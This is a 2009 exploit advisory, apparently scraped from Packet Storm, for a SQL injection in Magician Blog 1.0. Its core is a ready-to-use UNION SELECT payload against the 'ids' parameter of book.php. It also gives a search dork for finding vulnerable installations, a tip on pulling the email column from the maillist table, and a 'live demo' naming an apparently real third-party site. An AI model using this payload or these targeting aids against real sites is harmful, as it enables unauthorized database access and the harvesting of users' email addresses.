Lucene search

K
packetstormEvil-Cod3rPACKETSTORM:79694
HistoryJul 28, 2009 - 12:00 a.m.

Magician Blog 1.0 SQL Injection

2009-07-2800:00:00
Evil-Cod3r
packetstormsecurity.com
12
`==============================================================================  
_ _ _ _ _ _  
/ \ | | | | / \ | | | |  
/ _ \ | | | | / _ \ | |_| |  
/ ___ \ | |___ | |___ / ___ \ | _ |  
IN THE NAME OF /_/ \_\ |_____| |_____| /_/ \_\ |_| |_|  
  
  
==============================================================================  
[»] ~ Note : Been Repoted The Programed  
==============================================================================  
[»] Magician Blog <= 1.0 Remot SQL injection Valunrability  
==============================================================================  
  
[»] Script: [ Magician v1.0 ]  
[»] Language: [ PHP ]  
[»] home: [ www.4smart.net ]  
[»] Founder: [ Evil-Cod3r <[email protected] - [email protected]> ]  
[»] Gr44tz to: [ Recru1t Qabandi - Sniper Code - Mr.SaFa7 - The g0bL!N - S4S-T3rr0ist ]  
[»] Dork: [ "Powered By 4smart" ]  
[»] Price: [ $300 But i Scanned The Nulled !! ]  
  
###########################################################################  
  
===[ Exploit SQL ]===   
  
[»] http://www.Site.com/path/book.php?do=show&ids=-1 union select 1,version(),3,4,5,6,7,8,9,10,11,12,13--  
[»] Note : if you want mail list this is a table [ maillist ] the column > [email] and show mail list  
  
  
  
===[ Live Demo ]===   
  
[»] http://www.aloamman.com/  
  
  
Author: Evil-Cod3r <-  
  
###########################################################################  
  
  
`